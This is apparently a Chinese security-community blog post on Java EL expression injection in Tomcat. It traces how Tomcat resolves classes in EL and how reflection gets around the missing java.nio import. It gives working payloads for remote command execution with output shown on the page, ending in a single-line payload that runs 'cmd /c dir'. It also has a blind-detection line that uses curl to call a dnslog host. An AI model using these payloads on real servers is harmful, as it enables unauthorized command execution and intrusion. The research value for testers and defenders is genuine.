EL表达式多用于JSP,官方给出的El表达式的examplehttps//javaee.github.io/tutorial/jsf-el007.html可以发现,EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便…
EL表达式多用于JSP,官方给出的El表达式的example:
https://javaee.github.io/tutorial/jsf-el007.html
可以发现,EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便开发者能够获取到上下文变量。基础的EL表达式可参考文章:
https://www.tutorialspoint.com/jsp/jsp_expression_language.htm
下面直接进入主题,本文的环境为:
jdk8u112
Tomcat9.0.0M26
思路梳理
在EL表达式中,要做到执行Runtime#exec并不难,只需要一行表达式:
${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}
可这样子只能做基本的检测和盲打,如果目标不出网或不知道网站绝对路径时,将不方便EL注入的探测。
写普通的Java代码的话,我们知道可以使用inputStream()来获取Runtime#exec的输出,然后打印出来,如下:
Runtime#exec Demo
try {
InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
Thread.sleep(300); //睡0.3秒等InputStream的IO,不然`availableLenth`会是0
int availableLenth = inputStream.available();
byte[] resByte = new byte[availableLenth];
inputStream.read(resByte);
String resString = new String(resByte);
System.out.println(resString);
} catch (Exception e) {
e.printStackTrace();
}
不过EL表达式的实现其实是由中间件(Tomcat)进行解析,然后反射调用的。所以实际上写EL表达式只能写函数调用,不能在EL表达式中写诸如 new String();、int a; 这些操作。
但正常函数调用是能用的,比如本节开头执行Runtime#exec的表达式。
EL表达式中有许多隐式对象,如pageContext,可以通过这个对象保存属性,如:
此时一个想法便油然而生:
- 使用
pageContext保存Runtime#exec的inputStream inputStream#read会将命令执行结果输入到一个byte[]变量中,但EL表达式不能直接创建变量。得想办法找到一个存在byte[]类型变量的对象,借用该对象的byte[]作为inputStream#read的参数- 使用反射创建一个
String,并将第2步的byte[]存入这个String中 - 输出该
String
经过这四个步骤,理论上应该能获取到命令执行的回显了。
保存 Runtime#exec的inputStream
这个步骤很简单,就一句EL表达式就能搞定,如下:
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c ipconfig").getInputStream())}
调试也可发现pageContext.attributes存入了inputStream
寻找存在byte[]的对象
一开始我是直接在pageContext中寻找有无符合的对象。确实有,找到了pagaContext.response.response.outputBuffer:
可是实验之后发现不这个不太好,理由:由于我并没有分析过Tomcat源码,但猜测该变量应该是控制Response二进制输出的,如果直接让inputStream直接覆写掉这个变量,担心引发奇怪的问题。并且直接覆写上下文对象的属性感觉太粗暴了,希望能找一种对Tomcat干预最少的方式。
最后找到了**java.nio.ByteBuffer**,该类可以创建一个指定大小的byte[]。在java中的用法如下:
java.nio.ByteBuffer Demo
ByteBuffer allocate = ByteBuffer.allocate(100); #静态调用
byte[] a = allocate.array();
尝试在El表达式中使用:
java.nio.ByteBuffer EL Demo
${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
${pageContext.setAttribute("byteArr", pageContext.getAttribute("byteBuffer").array())}
调试时发现,并没有如愿的将之存放到pageContext.attributes中
猜测可能是执行java.nio.ByteBuffer.allocate(100)报错了,需要调试${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))},看看其是如何被解析的。也不用研究太深,简单看看问题即可。
追踪ByteBuffer.allocate报错
调试${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}。中间件对这一行的解析调用在
org.apache.jasper.runtime.PageContextImpl
PageContextImpl#proprietaryEvaluate
跟进ve.getValue(ctx);。发现在ValueExpressionImpl.node成员变量中,存放着已经简单解析过的EL表达式
ValueExpressionImpl#getValue
这个节点可以抽象表示成这样:
node
0 - pageContext
1 - setAttribute
2 -
0 - byteBuffer
1 -
0 - java
1 - nio
2 - ByteBuffer
3 - allocate
4 -
0 - 100
对比下我们原版EL表达式:
${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
可以发现,Tomcat将我们的EL表达式划分成了节点的结构,按照()划分父节点和子节点,按照.划分同级节点
跟进this.getNode().getValue(ctx);。在getValue()中,对node进行了迭代操作。
在mps.getParameters(ctx)这一行中,getParameters()函数是解析子节点的操作,跟进。我们的目的是查找为什么java.nio.ByteBuffer.allocate(100)不生效,所以解析表达式是需要跟进调试的
AstValue#getValue
跟进到getParameters()函数。该函数作用是通过循环调用各个child的getValue()方法。如果是child是Node类型,则会调用上文的AstValue#getValue形成递归,直到拿到最底层的node。
不要忘记我们目标是查找java.nio.ByteBuffer.allocate(100)不生效的问题。所以我们需要在循环中步过到解析java.nio.ByteBuffer.allocate(100)时再跟进调试
AstMethodParameters#getParameters
跟进this.jjtGetChild(i).getValue(ctx),此时将会递归调用回AstValue#getValue。
该方法的第一行创建了一个base。值得注意的是在while()中若base为null,就会直接return base。
while()是执行 EL表达式调用方法 的代码块,感兴趣可以自己调试下。
跟进this.children[0].getValue(ctx);中,发现又调用了一个getValue()
AstIdentifier#getValue
跟进ctx.getELResolver().getValue(ctx, null, this.image);。发现又调用了resolvers[i].getValue
跟进resolvers[i].getValue(context, base, property);。根据函数名猜测resolveClass()函数是对El表达式进行类解析。
ScopedAttributeELResolver#getValue
跟进importHandler.resolveClass(key);发现,该函数确实是对EL表达式里的字符串进行“类解析”。
首先一开始判断字符串是否在clazzes中,这个变量存放着之前解析过的类。如果同名就直接复用。
ImportHandler#resolveClass
一路跟进下去,最终发现类加载的范围只在四个包下
java.langjavax.servletjavax.servlet.httpjavax.servlet.jsp
ImportHandler#resolveClass
java.nio.ByteBuffer.allocate(100)不生效的问题找到原因了,因为el的类加载机制并没有java.nio包,并且还不支持全类名输入。
看到这里可能小伙伴会好奇:EL解析时将字符串按.进行了分割,如果认为每一个.分割的字符串都是一个新类并以此解析类名的话,那类的方法不就无法被正常解析嘛?如下面的例子:
Runtime.getRuntime.exec("calc")
按照EL表达式的解析,这个字符串会被解析成这样:
0 - Runtime
1 - getRuntime
2 -
null
3 - exec
4 -
0 - "calc"
EL解析时肯定会找不到getRuntime和exec的类的。那EL解析时是如何认为这俩是一个方法的呢?
答案在一开始的AstValue#getValue中。如下:
1- 在一开头就将第0个解析字符串,即Runtime丢去解析类(注意这里有很多重递归)2和3- 循环所有其他索引从1开始的节点。并对之进行invoke()操作
这就是EL解析类及调用类方法的大致过程。
实例化ByteBuffer类的Bypass
既然不能直接使用java.nio包下的ByteBuffer。那我们用反射搓一个出来不久可了嘛?
修改Poc如下:
//执行系统命令
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c ipconfig".getInputStream())}
//停一秒,等待Runtime的缓冲区全部写入完毕
${Thread.sleep(1000)}
//读取Runtime inputStream所有的数据
${pageContext.setAttribute("inputStreamAvailable", inputStream.available())}
//通过反射实例化ByteBuffer,并设置heapByteBuffer的大小为Runtime数据的大小
${pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"))}
${pageContext.setAttribute("allocateMethod", byteBufferClass.getMethod("allocate", Integer.TYPE))}
${pageContext.setAttribute("heapByteBuffer", allocateMethod.invoke(null, inputStreamAvailable))}
成功调用,pageContext中也有对应的值。
有了合适大小的byte[]后,接下来要做的事情就很简单了:将Runtime,inputStream的byte[]传给heapByteBuffer。
Poc如下:
......
${pageContext.getAttribute("inputStream").read(heapByteBuffer.array(), 0, inputStreamAvailable)}
......
接下来就是将byte[]类型的数据转换成String,以便能直接在网页上回显。常规的方法就是使用new String(byte[])来实现。
这里有几点需要注意:
- 由于不能直接用
new,我们只能通过反射来拿到String实例 - 反射调用
String#String时,需要指定传参类型的对象。但是似乎没有Byte[].TYPE这种东西。不过我们可以通过byteArrType里的byte[],用getClass()得到byte[]类型对象。
......
//获取byte[]对象
${pageContext.setAttribute("byteArrType", heapByteBuffer.array().getClass())}
//构造一个String
${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor", stringClass.getConstructor(byteArrType))}
${pageContext.setAttribute("stringRes", stringConstructor.newInstance(heapByteBuffer.array()))}
//回显结果
${pageContext.getAttribute("stringRes")}
压缩成一句话
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
- 本文作者: Xiaopan233
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/886
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!




















